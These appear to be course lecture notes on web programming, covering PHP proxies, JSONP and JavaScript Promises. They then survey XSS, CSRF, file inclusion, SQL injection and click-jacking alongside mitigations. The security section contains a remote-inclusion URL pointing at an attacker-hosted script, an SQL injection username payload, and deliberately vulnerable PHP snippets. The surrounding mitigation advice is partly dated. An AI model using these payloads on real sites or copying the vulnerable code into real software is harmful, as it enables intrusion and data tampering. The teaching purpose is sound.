Proxies

Javascript function is only allowed to make requests back to the server from which it came.
Suppose you have a page https://somewhere.com/index.html and you would like the Javascript on it to make use of the Yioop Rest API (Yioop being the code used for the class discussion board), how do you do it?
You need to use a proxy on your server which passes the request onto Yioop

Consider the following example proxy script for the Yioop News service:

<?php
define ('YIOOP_NEWS_URL', 'https://www.yioop.com/s/news/');

// look at incoming request fields
$query = (!empty($_REQUEST['f']) && in_array($_REQUEST['f'], ["rss", "json"])) ?
    "?f=" . $_REQUEST['f'] : "";

$url = YIOOP_NEWS_URL . $query;

// Open the Curl session
$request_handle = curl_init($url);

// If we wanted to use post we could uncomment the lines below
//curl_setopt ($request_handle, CURLOPT_POST, true);
//curl_setopt ($request_handle, CURLOPT_POSTFIELDS, $postvars);

// Don't bother with the HTTP headers. Do bother with the content back
curl_setopt($request_handle, CURLOPT_HEADER, false);
curl_setopt($request_handle, CURLOPT_RETURNTRANSFER, true);

// Make proxy request
$response_content = curl_exec($request_handle);

//determine the content-type of the respeonse
$pre_content_type = curl_getinfo($request_handle, CURLINFO_CONTENT_TYPE);
$content_type = (empty($pre_content_type)) ? "text/html" : $pre_content_type;

// Set the outgoing proxy content type
header("Content-Type: $content_type");

echo $response_content;
curl_close($request_handle);

To use such a proxy, you need to have PHP running on your machine and it needs to have curl enabled.
By tacking on different query strings such as ?f=rss or ?f=json to the url above you can control the format of the response.

JSONP

You might wonder if there is a more client-side way to do proxying in the case where we can't add code to our server to make the proxy request. For example, suppose our hosting doesn't allow curl requests.
One way to fake this is to use a web service that can respond with JSONP (JSON with Padding).
Such a service returns the JSON data within a Javascript function call of the requester's choice.
For example, the request:
https://www.yioop.com/s/news?f=json&callback=myHandleDataCode
return data that looks like:
```
// API callback
myHandleDataCode({"language":"en-US","link":"http...etc...etc ...});
```

So in my HTML page I could have the script tags:

<script>
function myHandleDataCode(obj)
{
    // do something pretty with json data
}
<script>
<script src="https://www.yioop.com/s/news?f=json&callback=myHandleDataCode" />

In-Class Exercise

Create a HTML 5 webpage with a script tag on it that has as its sources a JSONP request to the Yioop News Service with callback function: findTotalResults.
Have a second script tag on your webpage where you implement findTotalResults. This function should use the JSON object that it gets as an argument to generate an alert with the value of the totalResults field in this object.
Post your solution to the May 5 In-Class Exercise Thread.

Promises

Using XHR requests involve setting up a callback which is executed later after some event occurs.
Since about 2014 most major browsers support in Javascript a generic mechanism for doing this called Promises.
Suppose one was reading a PDF through the Javascript PDF viewer PDFJS. Then one left the site and came back. Suppose the script stored your previous location and now needs to restore it, but it first must wait until the pdf you were viewing has downloaded.

You could do this with code like:

<script src="http://url_for_pdf.js/pdf.js" ></script>
<script>

function renderPdfPage(media_obj, num)
{
    if (media_obj.reflect_rendering) {
        return;
    }
    var media_name = media_obj.reflect_name;
    media_obj.reflect_page_num = num;
    media_obj.reflect_rendering = true;
    media_obj.getPage(num).then(function(page) {
        var viewport = page.getViewport(1.5,
            parseInt(media_obj.reflect_orientation));
        var canvas = document.getElementById('area-' + media_name);
        var context = canvas.getContext('2d');
        canvas.height = viewport.height;
        canvas.width = viewport.width;
        var renderContext = {
            canvasContext: context,
            viewport: viewport
        };
        var renderTask = page.render(renderContext);
        renderTask.promise.then(function () {
            media_obj.reflect_rendering = false;
        });
    });
}
PDFJS.getDocument(url_of_document_viewing).then(
    function (pdf) {
        if (localStorage) {
             old_page = localStorage.getItem(url_of_document_viewing_old_page);
             renderPdfPage(pdf, old_page);
        } else {
             renderPdfPage(pdf, 1);
        }
    }
);
</script>

The general format of a Javascript promise is

my_promise = new Promise( function (resolve, reject) {
   /* this is the main code that your promise executes.
      resolve and reject are two callbacks your promise
      calls on success or failure.
    */
} );
/* the function you supplied to the promise doesn't run until
   you call the promises then method. So to use the promise we 
   have code like:
*/
my_promise.then(function(arg_list) {
   // when anonymous function above calls resolve this code runs.
}).catch(function(arg_list) {
   // when anonymous function above calls reject this code runs.
} )

Attacking Web-sites

We are next going to look at different ways a web-site might be attacked and we are going to try to find ways to mitigate these attacks.
These attacks are: XSS, CSRF, inclusion attacks, SQL-injection attacks, and click-jacking.
We will then briefly discuss HTTPS.

XSS

XSS stands for Cross-Site Scripting. Notice the initials are actually CSS but that already means cascading stylesheets.
There are several variants of XSS, some are as simple as embedding bad links into emails.
Usually, though, this vulnerability is caused when:
- a website has a form on it
- a malicious user or robot enters data into the form that contains code (say HTML, Javascript)
The form data is later displayed to other users, say because it was a comment to a blog entry or a guestbook entry, or a post to a newsgroup, etc.
Merely viewing the post causes, cookies, etc of the viewer to be sent to the malicious user who then uses them for evil.

Mitigations

Validate input from users! Treat all data posted from forms as tainted and use things like htmlentities to encode it before ever displaying it.
Try to filter certain kinds of input (like scripts)
If your site uses cookies make sure to tie the cookie to the IP address so it can't be used by a malicious third party.

CSRF

CSRF stands for Cross-site Request Forgery. Here is the idea of this attack
Suppose a user logs into his online bank.
The bank stores a cookie on his machine and only uses that to check if he is logged in.
The user browses to some other site (not the bank) with malware in it and clicks on an image link that actually contains a URL for the bank together with an action like do a money transfer to a bad person.
Since the user still has the banks cookie, the transaction goes ahead without the user even knowing.

Mitigations

Include user specific tokens in forms, so form data won't be used to take actions on databases unless that token is present.
Check the referrer of any data sent to your server.
As a user make sure to log-off sites before browsing elsewhere.

Inclusion Attacks

One lazy way to control a two column layout is to do something like:

<html><head>...</head>
   <body>
     <div id="leftcolumn">
       <ul><li><a href="?c=n.html">News</a></li>
        <li><a href="?c=d.html">Discussions</a></li></ul>
     </div>
      <div id="content">
       <?php if(isset($_GET['c'])){include($_GET['c']);}
             else {include("default.php");} ?>
      </div></body></html>

More on Inclusion Attacks

This opens a site to attacks especially if allow_url_fopen or allow_url_include is set to true in the php.ini file.
This is often set on if you are using some Drupal modules.
Suppose your site was somewhere.com.

Then to attack your site, I can type:

http://somewhere.com/?c=http://www.mymalicioussite.com/evilscript.php

Then evilscript.php from my site gets to run on your machine with the Webserver privileges.

Mitigations

Turn off allow_url_fopen and allow_url_include (latter more dangerous).
Validate any data in variables used before using them to include scripts.

SQL Injection Attacks and Prevention

Another kind of attack on a web-site's forms is to carefully fill out form variables to break the PHP script behind the forms variables.

Consider the following SQL which might be used to insert into a database:

$sql = "INSERT INTO   users (reg_username, reg_password, reg_email)  VALUES 
      ('{$_POST['reg_username']}', $_POST[ '$reg_password'], '{$_POST['reg_email']}')";

What if the posted reg_username is:
```
bad_guy', 'mypass', ''), ('good_guy  
```
?
You can use PHP commmands like: mysqli_escape_string() or addslashes around the posted variable to prevent this problem.
Better yet, use prepared statements rather than ad hoc queries like the above -- they are both faster and safer.

Click-Jacking

Click-jacking attempts to get the user to click on a important button or type in important data of one of the sites they frequently go to. The user types or clicks in this data while thinking they haven't ever navigated to the frequently visited site.
As an example, by accident the user goes to the malicious site. The screen looks legitimate. Secretly, an iframe is loaded and using CSS its opacity is set to 0 (transparent).
The page itself which is positioned over the iframe page might have an interesting button, that purports to show something like Katy Perry's duet with Elmo.
Setting the CSS z-index value of the button behind the iframe (which is transparent so can't be seen) makes this button actually behind the 1-click purchase button on Amazon. If the user clicks on what the user thinks is a Elmo button, the user actually purchases something lame from the attacker if they happen to be logged-in to Amazon.

Mitigations

There are some browser extensions which can help prevent click-jacking such as NoScript.
IE8 was the first browser to incorporate a solution that works effectively. It has been adopted by all the major browser.
The idea is the browser when it loads a page -- the important case is into an iframe -- is supposed to check if a X-Frame-Options or content-security-policy frame-ancestors 'self' header was sent.
If it was sent and has value deny, then the page should not be loaded into a frame. If it has the value same-origin it should only be loaded into a frame on a page from the same host.

Proxies - JSONP - Promises - Security

Outline

Proxies

JSONP

In-Class Exercise

Promises

Attacking Web-sites

XSS

Mitigations

CSRF

Mitigations

Inclusion Attacks

More on Inclusion Attacks

Mitigations

SQL Injection Attacks and Prevention

Click-Jacking

Mitigations